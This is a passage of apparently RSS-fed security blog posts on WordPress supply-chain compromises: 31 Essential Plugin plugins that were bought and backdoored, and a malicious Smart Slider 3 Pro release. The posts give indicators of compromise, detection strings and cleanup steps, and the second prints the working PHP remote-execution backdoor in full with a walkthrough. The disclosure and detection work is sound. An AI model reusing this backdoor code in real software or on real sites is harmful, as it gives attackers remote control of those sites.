&lt;p&gt;For a full technical breakdown of the deserialization chain, REST endpoint abuse, and C2 evasion, read &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Austin Ginder&apos;s original writeup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;From August 8, 2025 until April 5, 2026, the attacker&apos;s server just returned normal responses. Eight months of nothing. Then it flipped and started serving malicious payloads.&lt;/p&gt;
&lt;h2&gt;What Did WordPress.org Do?&lt;/h2&gt;
&lt;p&gt;WordPress.org responded on April 7, 2026:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Issued a dashboard security notice to affected site owners&lt;/li&gt;
&lt;li&gt;Permanently closed all 31 Essential Plugin plugins (they cannot be reinstalled from the directory)&lt;/li&gt;
&lt;li&gt;Force-pushed version 2.6.9.1 on April 8, which added &lt;code&gt;return;&lt;/code&gt; statements to disable the phone-home function&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The problem: &lt;strong&gt;the forced update does not clean &lt;code&gt;wp-config.php&lt;/code&gt;&lt;/strong&gt;. If your site was compromised before April 8, the SEO spam injection is still sitting in your configuration file. The update stops the phone-home, but it does not undo what already happened.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remove these plugins entirely.&lt;/strong&gt; They are dead. WordPress.org will never reopen them, and v2.6.9.1 is a bandaid on a corpse. Find alternatives for anything you were using them for.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;The forced update does not clean existing infections.&lt;/p&gt;
  &lt;p&gt;WordPress.org&apos;s v2.6.9.1 disables the backdoor module but leaves injected code in wp-config.php untouched. If any of these plugins were active on your site before April 8, 2026, you must manually inspect wp-config.php for injected PHP code near the &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt; line. Infected files grow by approximately 6KB.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How WordPress.org Could Have Prevented This&lt;/h2&gt;
&lt;p&gt;WordPress.org does have a &lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/transferring-your-plugin-to-a-new-owner/&quot;&gt;plugin ownership transfer process&lt;/a&gt;. For plugins under 10,000 users, the current owner can transfer via self-service. For larger plugins, the current owner emails &lt;code&gt;plugins@wordpress.org&lt;/code&gt; and the team verifies the request is legitimate.&lt;/p&gt;
&lt;p&gt;The gap is what happens after the transfer. WordPress.org checks that the current owner authorised it, but does not vet the new owner, does not review their first code commit, and does not notify existing users that the plugin changed hands. The buyer in this case created a fresh WordPress.org account, received SVN access to 31 plugins, and committed a backdoor on day one. The transfer process worked exactly as designed. It just was not designed for this.&lt;/p&gt;
&lt;p&gt;Apple requires a full re-review when an iOS app changes ownership. Google Play has a developer verification process. WordPress.org verifies the seller wants to sell, but not whether the buyer should be trusted with the code.&lt;/p&gt;
&lt;p&gt;A change-of-control notification to existing users and a mandatory code review on the new owner&apos;s first commit would have caught this.&lt;/p&gt;
&lt;h2&gt;How to Check Your WordPress Sites for the Essential Plugin Backdoor with mySites.guru&lt;/h2&gt;
&lt;p&gt;If you manage more than a handful of WordPress sites, checking each one by hand is a waste of a day. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension inventory&lt;/a&gt; tracks every installed plugin across all connected sites. We found dozens of affected sites across the platform and have already contacted every customer running one of these plugins.&lt;/p&gt;
&lt;p&gt;Use the search links below to check your own portfolio. Each link opens the mySites.guru extension search page filtered for that specific plugin, showing you every site where it is installed and which version is running:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: search your sites for affected plugins&lt;/p&gt;
  &lt;p&gt;Already have a &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru account&lt;/a&gt;? Click any plugin name below to jump straight to your extension search, filtered for that plugin across all your connected sites. If you find any, remove the plugin and inspect wp-config.php for injected code.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/45a50565dc1c75f1437bbd5d25d5af01&quot;&gt;Countdown Timer Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a5365afa386298ea688d8231726681e5&quot;&gt;Popup Anything on Click&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/60965c37bf75d6293cdf4096bd1a8652&quot;&gt;WP Testimonial with Widget&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/e2b40fc931beb0e76f27e214006297e4&quot;&gt;WP Team Showcase and Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b4e5fd1c621de641b734100371fe7693&quot;&gt;SP News and Widget&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/7fa6a74f10d99a26c880cc301bd4d922&quot;&gt;WP Blog and Widgets&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a043739a9d1ed051f7c55b2841d847c0&quot;&gt;Timeline and History Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/293b4130ce1df44b2e587d30464ed71a&quot;&gt;Post Grid and Filter Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/af3f533cc62094b7d5b64d769b2d120c&quot;&gt;Footer Mega Grid Columns&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/eb6adfa2d3bedc394d4115c1350c1bad&quot;&gt;WP Responsive Recent Post Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/b33a741586fb549fbff00de73b1bb03f&quot;&gt;WP Slick Slider and Image Carousel&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/09009231949da661713d591924f6504b&quot;&gt;Hero Banner Ultimate&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/17c37d26a9d7095480f536e8c4b097d9&quot;&gt;Accordion and Accordion Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/efa319ba16e868174e417e60180dafbe&quot;&gt;Post Category Image with Grid and Slider&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/397b497bd72e83209279459fe9ad4440&quot;&gt;Product Categories Designs for WooCommerce&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/ed05148cf6ee8636779581ad7f7b4548&quot;&gt;Meta Slider and Carousel with Lightbox&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/a2d23ba901c34db8fa34dd974dfe8402&quot;&gt;WooCommerce Product Slider and Carousel&lt;/a&gt;&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;The following plugins from the affected list have never appeared on any mySites.guru-monitored site: Album and Image Gallery plus Lightbox, Audio Player with Playlist Ultimate, Blog Designer for Post and Widget, Featured Post Creative, HTML5 VideoGallery Plus Player, Portfolio and Projects, Preloader for Website, Responsive WP FAQ with Category, SlidersPack - All in One Image Sliders, Styles for WP PageNavi - Addon, Ticker Ultimate, WP Featured Content and Slider, WP Logo Showcase Responsive Slider and Carousel, WP Trending Post Slider and Widget.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can identify and act on every affected site in your portfolio in minutes rather than spending a day logging into sites one by one.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h3&gt;What to look for manually&lt;/h3&gt;
&lt;p&gt;If you are checking a single site by hand, look for these three things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check wp-config.php&lt;/strong&gt;: Open the file and look for unexpected PHP code near the &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt; line. Infected files grow by approximately 6KB.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search for wp-comments-posts.php&lt;/strong&gt;: This file should not exist in a clean WordPress installation. Check the webroot.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search your plugins directory&lt;/strong&gt;: Look for any of the 31 affected plugin slugs listed below. If any are present, remove them regardless of version.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;The Full List of Affected WordPress Plugins&lt;/h2&gt;
&lt;p&gt;All 31 plugins from the Essential Plugin (WP Online Support) portfolio that WordPress.org permanently closed on April 7, 2026:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Countdown Timer Ultimate (&lt;code&gt;countdown-timer-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Popup Anything on Click (&lt;code&gt;popup-anything-on-click&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Testimonial with Widget (&lt;code&gt;wp-testimonial-with-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Team Showcase and Slider (&lt;code&gt;wp-team-showcase-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Responsive WP FAQ with Category (&lt;code&gt;sp-faq&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;SP News and Widget (&lt;code&gt;sp-news-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Blog and Widgets (&lt;code&gt;wp-blog-and-widgets&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Album and Image Gallery plus Lightbox (&lt;code&gt;album-and-image-gallery-plus-lightbox&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Timeline and History Slider (&lt;code&gt;timeline-and-history-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Featured Post Creative (&lt;code&gt;featured-post-creative&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Post Grid and Filter Ultimate (&lt;code&gt;post-grid-and-filter-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Footer Mega Grid Columns (&lt;code&gt;footer-mega-grid-columns&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Responsive Recent Post Slider (&lt;code&gt;wp-responsive-recent-post-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Slick Slider and Image Carousel (&lt;code&gt;wp-slick-slider-and-image-carousel&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Featured Content and Slider (&lt;code&gt;wp-featured-content-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Hero Banner Ultimate (&lt;code&gt;hero-banner-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Preloader for Website (&lt;code&gt;preloader-for-website&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Accordion and Accordion Slider (&lt;code&gt;accordion-and-accordion-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Portfolio and Projects (&lt;code&gt;portfolio-and-projects&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Ticker Ultimate (&lt;code&gt;ticker-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Trending Post Slider and Widget (&lt;code&gt;wp-trending-post-slider-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Woo Product Slider and Carousel with Category (&lt;code&gt;woo-product-slider-and-carousel-with-category&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Audio Player with Playlist Ultimate (&lt;code&gt;audio-player-with-playlist-ultimate&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Meta Slider and Carousel with Lightbox (&lt;code&gt;meta-slider-and-carousel-with-lightbox&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Post Category Image with Grid and Slider (&lt;code&gt;post-category-image-with-grid-and-slider&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Product Categories Designs for WooCommerce (&lt;code&gt;product-categories-designs-for-woocommerce&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Blog Designer for Post and Widget (&lt;code&gt;blog-designer-for-post-and-widget&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;HTML5 VideoGallery Plus Player (&lt;code&gt;html5-videogallery-plus-player&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;SlidersPack - All in One Image Sliders (&lt;code&gt;sliderspack-all-in-one-image-sliders&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Styles for WP PageNavi - Addon (&lt;code&gt;styles-for-wp-pagenavi-addon&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;WP Logo Showcase Responsive Slider and Carousel (&lt;code&gt;wp-logo-showcase-responsive-slider-slider&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;
&lt;p&gt;If any of the 31 plugins above were active on your site before April 8, 2026, check for these indicators:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;What to look for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;wp-config.php injection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unexpected PHP code near &lt;code&gt;require_once ABSPATH . &apos;wp-settings.php&apos;&lt;/code&gt;. File size increases by ~6KB.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;wp-comments-posts.php&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;This file should not exist in a clean WordPress installation. Check the webroot.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SEO spam (Googlebot only)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;View your site as Googlebot using &lt;code&gt;site:yourdomain.com&lt;/code&gt; in Google. Look for spam pages, redirected search results, or pharmaceutical/gambling content.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unauthenticated REST endpoint&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The backdoor registers a REST API route with &lt;code&gt;permission_callback: __return_true&lt;/code&gt;. Check for unexpected REST routes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;analytics.essentialplugin.com&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Search server access logs for outbound connections to this domain.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If you find any of these indicators, the site was actively compromised. Do not just remove the plugin. Clean &lt;code&gt;wp-config.php&lt;/code&gt;, remove &lt;code&gt;wp-comments-posts.php&lt;/code&gt;, scan all files for additional payloads, and rotate all admin credentials.&lt;/p&gt;
&lt;h2&gt;Why This Is Not a Normal WordPress Vulnerability&lt;/h2&gt;
&lt;p&gt;With a normal vulnerability, you patch it and move on. This is not that. The attacker did not find a bug. They bought the plugin, got official commit access, and WordPress.org distributed their malware for eight months.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro compromise&lt;/a&gt; hit the same week via a different route (update server breach rather than acquisition). Two supply chain attacks in one week, both exploiting trust in the official update channel.&lt;/p&gt;
&lt;p&gt;If you manage client sites, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change monitoring&lt;/a&gt; catches bad changes regardless of how they arrive. It does not matter whether the source is a compromised update, a bought plugin, or a direct exploit. The file change is what you catch. The eight-month dormancy here is the same trap as any &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;second-wave compromise where the damage lands long after the initial breach&lt;/a&gt;: a one-time scan during the quiet period finds nothing, so only continuous monitoring sees the moment it wakes up.&lt;/p&gt;
&lt;h2&gt;Credit&lt;/h2&gt;
&lt;p&gt;Austin Ginder at &lt;a href=&quot;https://anchor.host/&quot;&gt;Anchor Hosting&lt;/a&gt; found this through forensic work on a client site. His &lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;full writeup&lt;/a&gt; walks through the entire investigation, including how he binary-searched 939 backup snapshots to narrow the injection window to under 7 hours. Worth reading in full.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://anchor.host/someone-bought-30-wordpress-plugins-and-planted-a-backdoor-in-all-of-them/&quot;&gt;Someone Bought 30 WordPress Plugins and Planted a Backdoor in All of Them - Austin Ginder / Anchor Hosting&lt;/a&gt; - the original discovery report with full forensic methodology&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/plugins/wordpress-org/transferring-your-plugin-to-a-new-owner/&quot;&gt;Transferring Your Plugin to a New Owner - WordPress.org Developer Handbook&lt;/a&gt; - WordPress.org&apos;s current (minimal) plugin transfer process&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro 3.5.1.35 Supply Chain Compromise - mySites.guru&lt;/a&gt; - the other supply chain attack that hit the same week&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>plugins</category><category>vulnerability</category><category>supply chain</category><category>backdoor</category><enclosure url="https://mysites.guru/_astro/essential-plugin-wordpress-backdoor.CZuOH2d0.png" length="0" type="image/png"/></item><item><title>Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise</title><link>https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</guid><description>Smart Slider 3 Pro 3.5.1.35 was a malicious release pushed through the official update channel. RCE backdoor, hidden admin users. Update to 3.5.1.36.</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week we &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;wrote about CVE-2026-3098&lt;/a&gt;, an arbitrary file read vulnerability in Smart Slider 3 affecting 800,000 WordPress sites. The fix was to update to version 3.5.1.34.&lt;/p&gt;
&lt;p&gt;This week is worse. Much worse.&lt;/p&gt;
&lt;p&gt;Smart Slider 3 Pro version &lt;strong&gt;3.5.1.35&lt;/strong&gt; was a malicious release. Not a vulnerability, not a coding mistake, not a missed capability check. An unauthorized party pushed a backdoored build through Nextend&apos;s own update infrastructure, and anyone who clicked &quot;update plugin&quot; between the release of 3.5.1.35 and its detection received working remote code execution as the web server user.&lt;/p&gt;
&lt;p&gt;This is a supply-chain attack. The kind every security team has nightmares about, where the official update channel itself becomes the malware delivery system. Nextend has acknowledged the breach in security advisories for both &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla&lt;/a&gt;, pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement.&lt;/p&gt;
&lt;p&gt;If your site updated to Smart Slider 3 Pro 3.5.1.35 at any point, treat it as compromised until proven otherwise.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 Pro 3.5.1.35&lt;/strong&gt; was a malicious release pushed via Nextend&apos;s official update channel&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;both WordPress and Joomla&lt;/strong&gt; editions of Smart Slider 3 Pro (Nextend published separate advisories for each)&lt;/li&gt;
&lt;li&gt;Payload is a &lt;strong&gt;remote code execution backdoor&lt;/strong&gt;: a &lt;code&gt;_chk&lt;/code&gt; query parameter triggers shell or PHP execution from POST data&lt;/li&gt;
&lt;li&gt;Versions &lt;strong&gt;3.5.1.34 and earlier&lt;/strong&gt; are not affected. The safe replacement is &lt;strong&gt;3.5.1.36&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Indicators of compromise: hidden admin users starting with &lt;code&gt;wpsvc_&lt;/code&gt;, files named &lt;code&gt;cf_check.php&lt;/code&gt; in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt;, the strings &lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, or &lt;code&gt;wpjs1.com&lt;/code&gt; in any PHP file&lt;/li&gt;
&lt;li&gt;Nextend&apos;s &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup script&lt;/a&gt; removes the known indicators&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;If your site ran 3.5.1.35, assume compromise.&lt;/p&gt;
  &lt;p&gt;A working remote code execution backdoor was active on every site that installed this release. Updating to 3.5.1.36 closes the door but does not remove anything the attacker placed before you closed it. You must run the indicator-of-compromise checks below and use Nextend&apos;s cleanup script.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Actually Happened to Smart Slider 3 Pro 3.5.1.35?&lt;/h2&gt;
&lt;p&gt;In Nextend&apos;s own words from the &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;official advisory&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A security breach occurred affecting the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the part that matters: the attacker did not exploit a bug in the plugin. They got into the update infrastructure itself. For the time window 3.5.1.35 was live, Nextend&apos;s own update servers were serving a backdoored build to anyone who clicked update. Every defense that assumes the official update channel is trustworthy was bypassed by definition. Auto-updates pulled it. WordPress.org and the Joomla extension manager pulled it. Plugin update notifications recommended it. Anything checking signatures from Nextend would have validated it.&lt;/p&gt;
&lt;p&gt;Nextend has since pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement. They have not yet published a post-incident report on how the attacker got in, how long they had access, or whether other releases were touched.&lt;/p&gt;
&lt;p&gt;Until that report exists, treat every site that ran 3.5.1.35 at any point as compromised.&lt;/p&gt;
&lt;h2&gt;How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a supply-chain incident drops, the first question every agency asks is: &quot;Which of my sites pulled the bad version?&quot; If you manage 50 or 200 client sites, logging into each one and checking the plugin version is not viable. By the time you get through the list, the attacker has had hours of free access.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily extension snapshot&lt;/a&gt; records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds:&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Smart Slider 3 extension search page&lt;/a&gt; lists every installed version across all your connected sites, grouped by version number. Filter for 3.5.1.35 and you will see exactly which sites are exposed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your Smart Slider 3 installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Open Smart Slider 3 Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected sites. Filter by 3.5.1.35 to find any compromised installations, or 3.5.1.34 to find sites that need to move forward to the clean 3.5.1.36.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can push 3.5.1.36 across every affected site in one batch. A supply-chain incident becomes a five-minute triage instead of a stressful afternoon.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?&lt;/h2&gt;
&lt;p&gt;The malicious payload is small and clever. Here is the relevant code, formatted for readability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;init&apos;, function () {
    $k = get_option(&apos;_wpc_ak&apos;, &apos;&apos;);
    if ($k &amp;amp;&amp;amp; isset($_GET[&apos;_chk&apos;]) &amp;amp;&amp;amp; $_GET[&apos;_chk&apos;] === $k) {
        while (@ob_end_clean()) {}
        @error_reporting(0);
        header(&apos;Content-Type:text/plain&apos;);
        $m = isset($_GET[&apos;m&apos;]) ? $_GET[&apos;m&apos;] : &apos;sh&apos;;
        $d = base64_decode(isset($_POST[&apos;d&apos;]) ? $_POST[&apos;d&apos;] : &apos;&apos;);
        if (!$d) {
            echo &apos;OK&apos;;
            die();
        }
        if ($m === &apos;php&apos;) {
            ob_start();
            try {
                eval($d);
            } catch (\Throwable $e) {
                echo $e-&amp;gt;getMessage();
            }
            echo ob_get_clean();
            die();
        }
        $out = @shell_exec($d . &apos; 2&amp;gt;&amp;amp;1&apos;);
        echo $out !== null ? $out : &apos;NOSHELL&apos;;
        die();
    }
}, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walk through what it does, line by line:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;add_action(&apos;init&apos;, ..., 0)&lt;/code&gt;&lt;/strong&gt; - registers the backdoor on every page load at the highest priority. Every request to the site, including the public homepage, runs this code before anything else.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$k = get_option(&apos;_wpc_ak&apos;, &apos;&apos;)&lt;/code&gt;&lt;/strong&gt; - reads a secret value from the WordPress options table, stored under the key &lt;code&gt;_wpc_ak&lt;/code&gt;. The malicious installer planted this secret during plugin activation. Joomla&apos;s equivalent uses a parameter or table row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;isset($_GET[&apos;_chk&apos;]) &amp;amp;&amp;amp; $_GET[&apos;_chk&apos;] === $k&lt;/code&gt;&lt;/strong&gt; - checks if the current request includes a &lt;code&gt;_chk&lt;/code&gt; query parameter that matches the planted secret. This is the authentication: if you know the secret, you are in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;while (@ob_end_clean()) {}&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;@error_reporting(0)&lt;/code&gt;&lt;/strong&gt; - clear all output buffers and silence errors so nothing leaks into the response that would tip off log monitoring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$m = isset($_GET[&apos;m&apos;]) ? $_GET[&apos;m&apos;] : &apos;sh&apos;&lt;/code&gt;&lt;/strong&gt; - reads a mode parameter. &lt;code&gt;sh&lt;/code&gt; runs shell commands, &lt;code&gt;php&lt;/code&gt; evaluates PHP code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$d = base64_decode($_POST[&apos;d&apos;])&lt;/code&gt;&lt;/strong&gt; - reads the payload from POST data, base64-decoded. Base64 keeps the payload out of plaintext intrusion detection signatures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;shell_exec($d . &apos; 2&amp;gt;&amp;amp;1&apos;)&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;eval($d)&lt;/code&gt;&lt;/strong&gt; - executes the decoded payload. Shell mode runs OS commands as the web server user. PHP mode runs arbitrary PHP code, which is even more powerful because it does not require shell access to be enabled.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The backdoor is triggered with a single HTTP request from anywhere on the internet:&lt;/p&gt;
